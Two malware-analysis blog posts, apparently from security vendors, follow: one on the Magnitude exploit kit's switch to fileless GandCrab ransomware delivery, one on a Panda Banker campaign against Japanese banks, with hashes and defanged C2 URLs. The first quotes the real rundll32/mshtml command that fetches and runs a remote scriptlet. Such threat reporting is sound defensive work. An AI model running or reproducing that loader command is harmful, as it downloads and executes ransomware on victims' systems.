While Magnitude EK remains focused on targeting South Koreans, we were able to infect an English version of Windows by replaying a previously recorded infection capture. This is an interesting departure from Magniber, which was extremely thorough at avoiding other geolocations.

Magnitude is now also using a fileless technique to load the ransomware payload, making it somewhat harder to intercept and detect. The variations of this technique have been known for several years and used by other families such as by Poweliks, but they are a new addition to Magnitude.

Figure 1: Magnitude EK traffic capture with the GandCrab payload

Magnitude has always experimented with unconventional ways to load its malware, for example via binary padding, or more recently via another technique, but still exposing it “in the clear” from traffic or network packet capture.

Figure 2: Magnitude EK dropping Magniber on April 4, 2018

The payload is encoded (using VBScript.Encode/JScript.Encode) and embedded in a scriplet that is later decoded in memory and executed.

"C:WindowsSystem32rundll32.exe" javascript:"..mshtml,RunHTMLApplication ";
document.write();GetObject('script:http://dx30z30a4t11l7be.lieslow[.]faith/5aad4b91a0da20d4faab0991bdbe7138')

Figure 3: Innocuous scriptlet hides the payload

After the payload is injected into explorer.exe, it immediately attempts to reboot the machine. If we suspend that process and use @hasherezade‘s PE-Sieve, we can actually dump the GandCrab DLL from memory:

Figure 4: Extracting the payload from memory using PE-Sieve

Upon successful infection, files will be encrypted with the .CRAB extension while a ransom note is left with instructions on the next steps required to recover those files.

Figure 5: GandCrab’s ransom note

A recent law enforcement operation provided victims with a way to recover their files from previous GandCrab infections. However, the latest version cannot be decrypted at the moment.

Malwarebytes users are protected against this attack when either the Internet Explorer (CVE-2016-0189) or Flash Player (CVE-2018-4878) exploits are fired.

Time will tell if Magnitude sticks to GandCrab, but this is a noteworthy change for an exploit kit that solely used its own Magniber ransomware for about 7 months, after having replaced the trusted Cerber.

Indicators of compromise

Dumped GandCrab DLL

9daf74238f0f7d0e64f8bb046c136d7e61346b4c084a0c46e174a2b76f30b57a

The post Magnitude exploit kit switches to GandCrab ransomware appeared first on Malwarebytes Labs.

Go to Source
Author: Jérôme Segura

Panda Banker Zeros in on Japanese Targets

Key Findings

  • A threat actor using the well-known banking malware Panda Banker (a.k.a Zeus Panda, PandaBot) has started targeting financial institutions in Japan.
  • Based on our data and analysis this is the first time that we have seen Panda Banker injects targeting Japanese organizations.
  • It is likely a new campaign or actor started using Panda Banker since in addition to the previously unseen Japanese targeting, Arbor has not seen any indicator of compromise (IOC) overlaps with previous Panda Banker campaigns.
  • The sample used in this campaign was the first sample we observed in the wild to use the newest version of Panda Banker, version 2.6.6.

Overview

Panda Banker is based on the Zeus malware family. One of its main functions is stealing user credentials, account numbers, and ultimately money from financial institutions. It does this by using a technique known as “man in the browser” along with “webinjects” that specify what websites to target and how.

This banking malware was first seen in the wild in the beginning of 2016 (version 2.1.x) and has had consistent, incremental development since then. While some details have changed, our “Who Let the Pandas Out? Zeus, Zeus, Zeus, Zeus” blog post is still a good introduction to the technical details of the malware.

Panda Banker is sold as a kit on underground forums so there are multiple users of the malware. Cybercrime threat actors tend to focus their campaigns on particular countries—usually dependent on their ability to convert stolen credentials and account details from those locations into real money. Over the years we’ve seen Panda Banker campaigns focus on financial institutions in: Italy, Canada, Australia, Germany, United States, United Kingdom, and now Japan.

Campaign Analysis

A new version of Panda Banker, version 2.6.6, was observed being distributed in the wild on March 26th:

SHA256:8db8f6266f6ad9546b2b5386a835baa0cbf5ea5f699f2eb6285ddf401b76ccb7

Compilation date: 2018-03-26 09:54:57

While we didn’t see any significant changes to the malware itself (possibly just a “bug fix” release), the campaign using this sample stood out for two reasons:

  1. No IOC overlap with any previous Panda Banker campaigns that we’ve seen.
  2. Webinjects targeting Japan, a country we haven’t seen targeted by Panda Banker before.

Command & Control (C2)

The C2 servers configured for this sample are listed below:

  • https://hillaryzell[.]xyz/1wekenauhivwauvaxquor.dat
  • https://buscamapa1[.]top/2yrfuupcovylaawubitvy.dat
  • https://buscamapa2[.]top/3toaxkatoindyepidikuv.dat
  • https://buscamapa3[.]top/4heequktuepahvoyfofit.dat
  • https://buscamapa4[.]top/5ufyfegtuobekpykobeul.dat
  • https://buscamapa5[.]top/6lubanuoxapywinlaokow.dat

At the time of research, only hillaryzell[.]xyz was operational and it was registered to a “Petrov Vadim” using an email address of “yalapinziw@mail.ru”.

Campaign Name

The threat actor named this campaign “ank”.

Webinjects

At the time of research, the C2 server returned 27 webinjects that can be broken down into the following categories:

  • 17 Japanese banking web sites mostly focusing on credit cards
  • 1 US based web email site
  • 1 US based video search engine
  • 4 US based search engines
  • 1 US based online shopping site
  • 2 US based social media sites
  • 1 US based adult content hub

An example, redacted webinject for this campaign looks like the following:

Example webinject targeting Japan.

The webinjects in this campaign make use of a “grabber” / automated transfer system (ATS) system known as “Full Info Grabber” to capture credentials and account information. As can be seen in figures above, the threat actor is using a path of “jpccgrab” possibly meaning “Japanese credit card grabber”. Given the targeting, this name makes some sense.

Distribution (update March 28, 2018)

Security researcher kafeine has released more details on how this threat is being distributed in the wild: a malicious advertisement (malvertising) is redirecting victims to a RIG exploit kit which is distributing the Panda Banker malware.

Conclusion

Japan is no stranger to banking malware. Based on recent reports, the country has been plagued by attacks using the Ursnif and Urlzone banking malware. This post was our first analysis of the first Panda Banker campaign that we’ve seen to target financial institutions in Japan.

Go to Source
Author: Dennis Schwarz